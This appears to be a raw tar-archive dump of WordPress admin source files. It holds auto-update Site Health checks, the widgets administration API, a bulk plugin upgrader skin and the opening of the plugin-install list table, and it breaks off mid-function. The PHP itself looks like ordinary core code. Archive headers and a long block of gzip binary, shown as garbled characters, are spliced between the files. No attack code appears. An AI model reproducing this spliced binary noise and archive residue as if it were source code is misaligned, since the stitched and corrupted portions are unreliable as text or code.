					$test->severity = 'warning';
				}

				return $test;
			},
			$tests
		);

		return $tests;
	}

	/**
	 * Tests if auto-updates related constants are set correctly.
	 *
	 * @since 5.2.0
	 * @since 5.5.1 The `$value` parameter can accept an array.
	 *
	 * @param string $constant         The name of the constant to check.
	 * @param bool|string|array $value The value that the constant should be, if set,
	 *                                 or an array of acceptable values.
	 * @return array The test results.
	 */
	public function test_constants( $constant, $value ) {
		$acceptable_values = (array) $value;

		if ( defined( $constant ) && ! in_array( constant( $constant ), $acceptable_values, true ) ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Name of the constant used. 2: Value of the constant used. */
					__( 'The %1$s constant is defined as %2$s' ),
					"<code>$constant</code>",
					'<code>' . esc_html( var_export( constant( $constant ), true ) ) . '</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if updates are intercepted by a filter.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_wp_version_check_attached() {
		if ( ( ! is_multisite() || is_main_site() && is_network_admin() )
			&& ! has_filter( 'wp_version_check', 'wp_version_check' )
		) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'A plugin has prevented updates by disabling %s.' ),
					'<code>wp_version_check()</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if automatic updates are disabled by a filter.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_filters_automatic_updater_disabled() {
		/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		if ( apply_filters( 'automatic_updater_disabled', false ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'The %s filter is enabled.' ),
					'<code>automatic_updater_disabled</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if automatic updates are disabled.
	 *
	 * @since 5.3.0
	 *
	 * @return array|false The test results. False if auto-updates are enabled.
	 */
	public function test_wp_automatic_updates_disabled() {
		if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
		}

		$auto_updates = new WP_Automatic_Updater();

		if ( ! $auto_updates->is_disabled() ) {
			return false;
		}

		return array(
			'description' => __( 'All automatic updates are disabled.' ),
			'severity'    => 'fail',
		);
	}

	/**
	 * Checks if automatic updates have tried to run, but failed, previously.
	 *
	 * @since 5.2.0
	 *
	 * @return array|false The test results. False if the auto-updates failed.
	 */
	public function test_if_failed_update() {
		$failed = get_site_option( 'auto_core_update_failed' );

		if ( ! $failed ) {
			return false;
		}

		if ( ! empty( $failed['critical'] ) ) {
			$description  = __( 'A previous automatic background update ended with a critical failure, so updates are now disabled.' );
			$description .= ' ' . __( 'You would have received an email because of this.' );
			$description .= ' ' . __( "When you've been able to update using the \"Update now\" button on Dashboard > Updates, this error will be cleared for future update attempts." );
			$description .= ' ' . sprintf(
				/* translators: %s: Code of error shown. */
				__( 'The error code was %s.' ),
				'<code>' . $failed['error_code'] . '</code>'
			);
			return array(
				'description' => $description,
				'severity'    => 'warning',
			);
		}

		$description = __( 'A previous automatic background update could not occur.' );
		if ( empty( $failed['retry'] ) ) {
			$description .= ' ' . __( 'You would have received an email because of this.' );
		}

		$description .= ' ' . __( 'Another attempt will be made with the next release.' );
		$description .= ' ' . sprintf(
			/* translators: %s: Code of error shown. */
			__( 'The error code was %s.' ),
			'<code>' . $failed['error_code'] . '</code>'
		);
		return array(
			'description' => $description,
			'severity'    => 'warning',
		);
	}

	/**
	 * Checks if WordPress is controlled by a VCS (Git, Subversion etc).
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_vcs_abspath() {
		$context_dirs = array( ABSPATH );
		$vcs_dirs     = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs   = array();

		foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

				// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( dirname( $context_dir ) === $context_dir ) {
					break;
				}

				// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

		$check_dirs = array_unique( $check_dirs );

		// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				// phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition,Squiz.PHP.DisallowMultipleAssignments
				if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) ) {
					break 2;
				}
			}
		}

		/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		if ( $checkout && ! apply_filters( 'automatic_updates_is_vcs_checkout', true, ABSPATH ) ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Folder name. 2: Version control directory. 3: Filter name. */
					__( 'The folder %1$s was detected as being under version control (%2$s), but the %3$s filter is allowing updates.' ),
					'<code>' . $check_dir . '</code>',
					"<code>$vcs_dir</code>",
					'<code>automatic_updates_is_vcs_checkout</code>'
				),
				'severity'    => 'info',
			);
		}

		if ( $checkout ) {
			return array(
				'description' => sprintf(
					/* translators: 1: Folder name. 2: Version control directory. */
					__( 'The folder %1$s was detected as being under version control (%2$s).' ),
					'<code>' . $check_dir . '</code>',
					"<code>$vcs_dir</code>"
				),
				'severity'    => 'warning',
			);
		}

		return array(
			'description' => __( 'No version control systems were detected.' ),
			'severity'    => 'pass',
		);
	}

	/**
	 * Checks if we can access files without providing credentials.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_check_wp_filesystem_method() {
		// Make sure the `request_filesystem_credentials()` function is available during our REST API call.
		if ( ! function_exists( 'request_filesystem_credentials' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$skin    = new Automatic_Upgrader_Skin();
		$success = $skin->request_filesystem_credentials( false, ABSPATH );

		if ( ! $success ) {
			$description  = __( 'Your installation of WordPress prompts for FTP credentials to perform updates.' );
			$description .= ' ' . __( '(Your site is performing updates over FTP due to file ownership. Talk to your hosting company.)' );

			return array(
				'description' => $description,
				'severity'    => 'fail',
			);
		}

		return array(
			'description' => __( 'Your installation of WordPress does not require FTP credentials to perform updates.' ),
			'severity'    => 'pass',
		);
	}

	/**
	 * Checks if core files are writable by the web user/group.
	 *
	 * @since 5.2.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return array|false The test results. False if they're not writeable.
	 */
	public function test_all_files_writable() {
		global $wp_filesystem;

		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z

		$skin    = new Automatic_Upgrader_Skin();
		$success = $skin->request_filesystem_credentials( false, ABSPATH );

		if ( ! $success ) {
			return false;
		}

		WP_Filesystem();

		if ( 'direct' !== $wp_filesystem->method ) {
			return false;
		}

		// Make sure the `get_core_checksums()` function is available during our REST API call.
		if ( ! function_exists( 'get_core_checksums' ) ) {
			require_once ABSPATH . 'wp-admin/includes/update.php';
		}

		$checksums = get_core_checksums( $wp_version, 'en_US' );
		$dev       = ( str_contains( $wp_version, '-' ) );
		// Get the last stable version's files and test against that.
		if ( ! $checksums && $dev ) {
			$checksums = get_core_checksums( (float) $wp_version - 0.1, 'en_US' );
		}

		// There aren't always checksums for development releases, so just skip the test if we still can't find any.
		if ( ! $checksums && $dev ) {
			return false;
		}

		if ( ! $checksums ) {
			$description = sprintf(
				/* translators: %s: WordPress version. */
				__( "Couldn't retrieve a list of the checksums for WordPress %s." ),
				$wp_version
			);
			$description .= ' ' . __( 'This could mean that connections are failing to WordPress.org.' );
			return array(
				'description' => $description,
				'severity'    => 'warning',
			);
		}

		$unwritable_files = array();
		foreach ( array_keys( $checksums ) as $file ) {
			if ( str_starts_with( $file, 'wp-content' ) ) {
				continue;
			}
			if ( ! file_exists( ABSPATH . $file ) ) {
				continue;
			}
			if ( ! is_writable( ABSPATH . $file ) ) {
				$unwritable_files[] = $file;
			}
		}

		if ( $unwritable_files ) {
			if ( count( $unwritable_files ) > 20 ) {
				$unwritable_files   = array_slice( $unwritable_files, 0, 20 );
				$unwritable_files[] = '...';
			}
			return array(
				'description' => __( 'Some files are not writable by WordPress:' ) . ' <ul><li>' . implode( '</li><li>', $unwritable_files ) . '</li></ul>',
				'severity'    => 'fail',
			);
		} else {
			return array(
				'description' => __( 'All of your WordPress files are writable.' ),
				'severity'    => 'pass',
			);
		}
	}

	/**
	 * Checks if the install is using a development branch and can use nightly packages.
	 *
	 * @since 5.2.0
	 *
	 * @return array|false The test results. False if it isn't a development version.
	 */
	public function test_accepts_dev_updates() {
		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z
		// Only for dev versions.
		if ( ! str_contains( $wp_version, '-' ) ) {
			return false;
		}

		if ( defined( 'WP_AUTO_UPDATE_CORE' ) && ( 'minor' === WP_AUTO_UPDATE_CORE || false === WP_AUTO_UPDATE_CORE ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'WordPress development updates are blocked by the %s constant.' ),
					'<code>WP_AUTO_UPDATE_CORE</code>'
				),
				'severity'    => 'fail',
			);
		}

		/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
		if ( ! apply_filters( 'allow_dev_auto_core_updates', $wp_version ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'WordPress development updates are blocked by the %s filter.' ),
					'<code>allow_dev_auto_core_updates</code>'
				),
				'severity'    => 'fail',
			);
		}
	}

	/**
	 * Checks if the site supports automatic minor updates.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function test_accepts_minor_updates() {
		if ( defined( 'WP_AUTO_UPDATE_CORE' ) && false === WP_AUTO_UPDATE_CORE ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'WordPress security and maintenance releases are blocked by %s.' ),
					"<code>define( 'WP_AUTO_UPDATE_CORE', false );</code>"
				),
				'severity'    => 'fail',
			);
		}

		/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
		if ( ! apply_filters( 'allow_minor_auto_core_updates', true ) ) {
			return array(
				'description' => sprintf(
					/* translators: %s: Name of the filter used. */
					__( 'WordPress security and maintenance releases are blocked by the %s filter.' ),
					'<code>allow_minor_auto_core_updates</code>'
				),
				'severity'    => 'fail',
			);
		}
	}
}
class-wp-privacy-data-removal-requests-list-table.php.php.tar.gz000064400000003307150275632050020744 0ustar00��X[S�F��'.T��mnIZ�NhI�̴)����LF���XE��V���9gweɗ�'������=�;��T�H�2�JZE�d����wE�Di?J��e�b����\E�"��B���Iv)b��S���G��j1�e/��kkk�8^��͎m;{;�{k;Ϸw_���|o{��.l��x�Q��
U޷�I������ƨ���
O�7�������|8��L����΄�&�>m��NBr^�"��>d*<��*�iQ���1enV�~Yjf1�$�~��~��a�������M�j�*���-���ݢD���3�w�ӟg���xwH�*����7m矕��s�5�gW�'?k���=M��t��B}��R�Hg
�D��
o"��-WQ�U�.��h/�o�^
�(=�u+��׹���'�`�,��n�*�2�2�Y=�{��s��,E�������e���z�* ���|�r's��JDWR�V_���K���.. ��2IoC�%��_$��#-8���$��$�2�൒�T���M"��*�D��2��(Gq��LM��"_ҎM������+_X�J���-�����qgWl��V'y?�F!�P�:���(v /e
X�A��#�pU�D�f��F�p����.�|!,�wuY����������L��OO�`G��=ó[��=x2@V�qE�ka�Z*�oa��L)%����[|�Z����G*�q���<��}#���U����y�n�9#�ͨ$�AV�%���4�e)79��"<ȅ�>ϰꪻ�ޮ`No;c��&�\�ҤU�Q��Դ�A�,i�N��.���X���˖
:D�/�VS;��[Կg�(G���A���s�vgn��������x�Ų3<�Zc=Pt�M��3�H��X(c"R�B`}#��";�Y��1��od��pX�~;^����p&Qʴ��
*�	Z��2h%PH I�9��au(E��8PVD��K�Wٽ��1vH,�9S�"jcf����;����ݒ�3����=eY���z��"7���va�\w��t��Ax���ؕR=޴�0Qr<�l��fW�쑑��b$c^8�(��b�=cTȥ���6B.�ڣ�C%�k_�s��e��ky�}�i�C����L��Gk��f۩VO��a€�[Ћ�n�V{f�7*��Ý#�̚�[Sp+3s
�qx��EL�zq��s��=�ppV���BڙgJ;��l��~���>�(���!��Y��=�Y����g��i�غ5j�_O�'hK�)�nUi�(��l3�DH�ӑ4�j�%��:e��:�(l��)�<r������	�׸�;���a
,eZ��p�����H"e�`Tu9MQ�Ϻgx��'s��
�%L0�3M'��jP9�B�A����>�"��R�NG=˙Z#$H��2�l�H�?~���ɣ��RȖ&D]~��R3���dE�����W�Ư�+�sl����2E~�\o��Cx5��wĹ�!ΨkrDR�G�#����Y��`�e4NXE�]�)8����q�}��1���z�:�c!Vy��ܮ���
�E9J"�{�_7
:���6h^C��x?�����O�*\m�-�ٻ��;j�0�ۮ��I��<���۲H�xC�>P��)'k͸[�y��X�M��~��8��x���?��6�widgets.php000064400000025240150275632050006733 0ustar00<?php
/**
 * WordPress Widgets Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Display list of the available widgets.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 */
function wp_list_widgets() {
	global $wp_registered_widgets, $wp_registered_widget_controls;

	$sort = $wp_registered_widgets;
	usort( $sort, '_sort_name_callback' );
	$done = array();

	foreach ( $sort as $widget ) {
		if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget.
			continue;
		}

		$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
		$done[]  = $widget['callback'];

		if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

		$args = array(
			'widget_id'   => $widget['id'],
			'widget_name' => $widget['name'],
			'_display'    => 'template',
		);

		if ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ) {
			$id_base            = $wp_registered_widget_controls[ $widget['id'] ]['id_base'];
			$args['_temp_id']   = "$id_base-__i__";
			$args['_multi_num'] = next_widget_id_number( $id_base );
			$args['_add']       = 'multi';
		} else {
			$args['_add'] = 'single';
			if ( $sidebar ) {
				$args['_hide'] = '1';
			}
		}

		$control_args = array(
			0 => $args,
			1 => $widget['params'][0],
		);
		$sidebar_args = wp_list_widget_controls_dynamic_sidebar( $control_args );

		wp_widget_control( ...$sidebar_args );
	}
}

/**
 * Callback to sort array by a 'name' key.
 *
 * @since 3.1.0
 * @access private
 *
 * @param array $a First array.
 * @param array $b Second array.
 * @return int
 */
function _sort_name_callback( $a, $b ) {
	return strnatcasecmp( $a['name'], $b['name'] );
}

/**
 * Show the widgets and their settings for a sidebar.
 * Used in the admin widget config screen.
 *
 * @since 2.5.0
 *
 * @param string $sidebar      Sidebar ID.
 * @param string $sidebar_name Optional. Sidebar name. Default empty.
 */
function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );

	$description = wp_sidebar_description( $sidebar );

	echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">';

	if ( $sidebar_name ) {
		$add_to = sprintf(
			/* translators: %s: Widgets sidebar name. */
			__( 'Add to: %s' ),
			$sidebar_name
		);
		?>
		<div class="sidebar-name" data-add-to="<?php echo esc_attr( $add_to ); ?>">
			<button type="button" class="handlediv hide-if-no-js" aria-expanded="true">
				<span class="screen-reader-text"><?php echo esc_html( $sidebar_name ); ?></span>
				<span class="toggle-indicator" aria-hidden="true"></span>
			</button>
			<h2><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h2>
		</div>
		<?php
	}

	if ( ! empty( $description ) ) {
		?>
		<div class="sidebar-description">
			<p class="description"><?php echo $description; ?></p>
		</div>
		<?php
	}

	dynamic_sidebar( $sidebar );

	echo '</div>';
}

/**
 * Retrieves the widget control arguments.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 *
 * @param array $params
 * @return array
 */
function wp_list_widget_controls_dynamic_sidebar( $params ) {
	global $wp_registered_widgets;
	static $i = 0;
	++$i;

	$widget_id = $params[0]['widget_id'];
	$id        = isset( $params[0]['_temp_id'] ) ? $params[0]['_temp_id'] : $widget_id;
	$hidden    = isset( $params[0]['_hide'] ) ? ' style="display:none;"' : '';

	$params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>";
	$params[0]['after_widget']  = '</div>';
	$params[0]['before_title']  = '%BEG_OF_TITLE%'; // Deprecated.
	$params[0]['after_title']   = '%END_OF_TITLE%'; // Deprecated.

	if ( is_callable( $wp_registered_widgets[ $widget_id ]['callback'] ) ) {
		$wp_registered_widgets[ $widget_id ]['_callback'] = $wp_registered_widgets[ $widget_id ]['callback'];
		$wp_registered_widgets[ $widget_id ]['callback']  = 'wp_widget_control';
	}

	return $params;
}

/**
 * @global array $wp_registered_widgets
 *
 * @param string $id_base
 * @return int
 */
function next_widget_id_number( $id_base ) {
	global $wp_registered_widgets;
	$number = 1;

	foreach ( $wp_registered_widgets as $widget_id => $widget ) {
		if ( preg_match( '/' . preg_quote( $id_base, '/' ) . '-([0-9]+)$/', $widget_id, $matches ) ) {
			$number = max( $number, $matches[1] );
		}
	}
	++$number;

	return $number;
}

/**
 * Meta widget used to display the control form for a widget.
 *
 * Called from dynamic_sidebar().
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $sidebars_widgets
 *
 * @param array $sidebar_args
 * @return array
 */
function wp_widget_control( $sidebar_args ) {
	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;

	$widget_id  = $sidebar_args['widget_id'];
	$sidebar_id = isset( $sidebar_args['id'] ) ? $sidebar_args['id'] : false;
	$key        = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[ $sidebar_id ], true ) : '-1'; // Position of widget in sidebar.
	$control    = isset( $wp_registered_widget_controls[ $widget_id ] ) ? $wp_registered_widget_controls[ $widget_id ] : array();
	$widget     = $wp_registered_widgets[ $widget_id ];

	$id_format     = $widget['id'];
	$widget_number = isset( $control['params'][0]['number'] ) ? $control['params'][0]['number'] : '';
	$id_base       = isset( $control['id_base'] ) ? $control['id_base'] : $widget_id;
	$width         = isset( $control['width'] ) ? $control['width'] : '';
	$height        = isset( $control['height'] ) ? $control['height'] : '';
	$multi_number  = isset( $sidebar_args['_multi_num'] ) ? $sidebar_args['_multi_num'] : '';
	$add_new       = isset( $sidebar_args['_add'] ) ? $sidebar_args['_add'] : '';

	$before_form           = isset( $sidebar_args['before_form'] ) ? $sidebar_args['before_form'] : '<form method="post">';
	$after_form            = isset( $sidebar_args['after_form'] ) ? $sidebar_args['after_form'] : '</form>';
	$before_widget_content = isset( $sidebar_args['before_widget_content'] ) ? $sidebar_args['before_widget_content'] : '<div class="widget-content">';
	$after_widget_content  = isset( $sidebar_args['after_widget_content'] ) ? $sidebar_args['after_widget_content'] : '</div>';

	$query_arg = array( 'editwidget' => $widget['id'] );
	if ( $add_new ) {
		$query_arg['addnew'] = 1;
		if ( $multi_number ) {
			$query_arg['num']  = $multi_number;
			$query_arg['base'] = $id_base;
		}
	} else {
		$query_arg['sidebar'] = $sidebar_id;
		$query_arg['key']     = $key;
	}

	/*
	 * We aren't showing a widget control, we're outputting a template
	 * for a multi-widget control.
	 */
	if ( isset( $sidebar_args['_display'] ) && 'template' === $sidebar_args['_display'] && $widget_number ) {
		// number == -1 implies a template where id numbers are replaced by a generic '__i__'.
		$control['params'][0]['number'] = -1;
		// With id_base widget ID's are constructed like {$id_base}-{$id_number}.
		if ( isset( $control['id_base'] ) ) {
			$id_format = $control['id_base'] . '-__i__';
		}
	}

	$wp_registered_widgets[ $widget_id ]['callback'] = $wp_registered_widgets[ $widget_id ]['_callback'];
	unset( $wp_registered_widgets[ $widget_id ]['_callback'] );

	$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
	$has_form     = 'noform';

	echo $sidebar_args['before_widget'];
	?>
	<div class="widget-top">
	<div class="widget-title-action">
		<button type="button" class="widget-action hide-if-no-js" aria-expanded="false">
			<span class="screen-reader-text edit">
				<?php
				/* translators: Hidden accessibility text. %s: Widget title. */
				printf( __( 'Edit widget: %s' ), $widget_title );
				?>
			</span>
			<span class="screen-reader-text add">
				<?php
				/* translators: Hidden accessibility text. %s: Widget title. */
				printf( __( 'Add widget: %s' ), $widget_title );
				?>
			</span>
			<span class="toggle-indicator" aria-hidden="true"></span>
		</button>
		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>">
			<span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span>
			<span class="add"><?php _ex( 'Add', 'widget' ); ?></span>
			<span class="screen-reader-text"><?php echo $widget_title; ?></span>
		</a>
	</div>
	<div class="widget-title"><h3><?php echo $widget_title; ?><span class="in-widget-title"></span></h3></div>
	</div>

	<div class="widget-inside">
	<?php echo $before_form; ?>
	<?php echo $before_widget_content; ?>
	<?php
	if ( isset( $control['callback'] ) ) {
		$has_form = call_user_func_array( $control['callback'], $control['params'] );
	} else {
		echo "\t\t<p>" . __( 'There are no options for this widget.' ) . "</p>\n";
	}

	$noform_class = '';
	if ( 'noform' === $has_form ) {
		$noform_class = ' widget-control-noform';
	}
	?>
	<?php echo $after_widget_content; ?>
	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr( $id_format ); ?>" />
	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr( $id_base ); ?>" />
	<input type="hidden" name="widget-width" class="widget-width" value="<?php echo esc_attr( $width ); ?>" />
	<input type="hidden" name="widget-height" class="widget-height" value="<?php echo esc_attr( $height ); ?>" />
	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr( $widget_number ); ?>" />
	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr( $multi_number ); ?>" />
	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr( $add_new ); ?>" />

	<div class="widget-control-actions">
		<div class="alignleft">
			<button type="button" class="button-link button-link-delete widget-control-remove"><?php _e( 'Delete' ); ?></button>
			<span class="widget-control-close-wrapper">
				| <button type="button" class="button-link widget-control-close"><?php _e( 'Done' ); ?></button>
			</span>
		</div>
		<div class="alignright<?php echo $noform_class; ?>">
			<?php submit_button( __( 'Save' ), 'primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
			<span class="spinner"></span>
		</div>
		<br class="clear" />
	</div>
	<?php echo $after_form; ?>
	</div>

	<div class="widget-description">
	<?php
	$widget_description = wp_widget_description( $widget_id );
	echo ( $widget_description ) ? "$widget_description\n" : "$widget_title\n";
	?>
	</div>
	<?php
	echo $sidebar_args['after_widget'];

	return $sidebar_args;
}

/**
 * @param string $classes
 * @return string
 */
function wp_widgets_access_body_class( $classes ) {
	return "$classes widgets_access ";
}
class-bulk-plugin-upgrader-skin.php000064400000004315150275632050013372 0ustar00<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Plugin info.
	 *
	 * The Plugin_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the get_plugin_data() function.
	 *
	 * @var array Plugin data. Values will be empty if not supplied by the plugin.
	 */
	public $plugin_info = array();

	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Plugin name, 2: Number of the plugin, 3: Total number of plugins being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->plugin_info['Title'] );
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->plugin_info['Title'] );
		$this->decrement_update_count( 'plugin' );
	}

	/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'plugins_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'activate_plugins' ) ) {
			unset( $update_actions['plugins_page'] );
		}

		/**
		 * Filters the list of action links available following bulk plugin updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param array    $plugin_info    Array of information for the last-updated plugin.
		 */
		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
class-wp-plugin-install-list-table.php000064400000060635150275632050014023 0ustar00<?php
/**
 * List Table API: WP_Plugin_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying plugins to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Plugin_Install_List_Table extends WP_List_Table {

	public $order   = 'ASC';
	public $orderby = null;
	public $groups  = array();

	private $error;

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_plugins' );
	}

	/**
	 * Returns the list of known plugins.
	 *
	 * Uses the transient data from the updates API to determine the known
	 * installed plugins.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @return array
	 */
	protected function get_installed_plugins() {
		$plugins = array();

		$plugin_info = get_site_transient( 'update_plugins' );
		if ( isset( $plugin_info->no_update ) ) {
			foreach ( $plugin_info->no_update as $plugin ) {
				if ( isset( $plugin->slug ) ) {
					$plugin->upgrade          = false;
					$plugins[ $plugin->slug ] = $plugin;
				}
			}
		}

		if ( isset( $plugin_info->response ) ) {
			foreach ( $plugin_info->response as $plugin ) {
				if ( isset( $plugin->slug ) ) {
					$plugin->upgrade          = true;
					$plugins[ $plugin->slug ] = $plugin;
				}
			}
		}

		return $plugins;
	}

	/**
	 * Returns a list of slugs of installed plugins, if known.
	 *
	 * Uses the transient data from the updates API to determine the slugs of
	 * known installed plugins. This might be better elsewhere, perhaps even
	 * within get_plugins().
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	protected function get_installed_plugin_slugs() {
		return array_keys( $this->get_installed_plugins() );
	}

	/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global string $term
	 */
	public function prepare_items() {
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		global $tabs, $tab, $paged, $type, $term;

		wp_reset_vars( array( 'tab' ) );

		$paged = $this->get_pagenum();

		$per_page = 36;

		// These are the tabs which are shown on the page.
		$tabs = array();

		if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}

		if ( 'beta' === $tab || str_contains( get_bloginfo( 'version' ), '-' ) ) {
			$tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' );
		}

		$tabs['featured']    = _x( 'Featured', 'Plugin Installer' );
		$tabs['popular']     = _x( 'Popular', 'Plugin Installer' );
		$tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' );
		$tabs['favorites']   = _x( 'Favorites', 'Plugin Installer' );

		if ( current_user_can( 'upload_plugins' ) ) {
			/*
			 * No longer a real tab. Here for filter compatibility.
			 * Gets skipped in get_views().
			 */
			$tabs['upload'] = __( 'Upload Plugin' );
		}

		$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.

		/**
		 * Filters the tabs shown on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $tabs The tabs shown on the Add Plugins screen. Defaults include
		 *                       'featured', 'popular', 'recommended', 'favorites', and 'upload'.
		 */
		$tabs = apply_filters( 'install_plugins_tabs', $tabs );

		/**
		 * Filters tabs not associated with a menu item on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on the Add Plugins screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

		$installed_plugins = $this->get_installed_plugins();

		$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			// Send the locale to the API so it can provide context-sensitive results.
			'locale'   => get_user_locale(),
		);

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';

				switch ( $type ) {
					case 'tag':
						$args['tag'] = sanitize_title_with_dashes( $term );
						break;
					case 'term':
						$args['search'] = $term;
						break;
					case 'author':
						$args['author'] = $term;
						break;
				}

				break;

			case 'featured':
			case 'popular':
			case 'new':
			case 'beta':
				$args['browse'] = $tab;
				break;
			case 'recommended':
				$args['browse'] = $tab;
				// Include the list of installed plugins so we can get relevant results.
				$args['installed_plugins'] = array_keys( $installed_plugins );
				break;

			case 'favorites':
				$action = 'save_wporg_username_' . get_current_user_id();
				if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
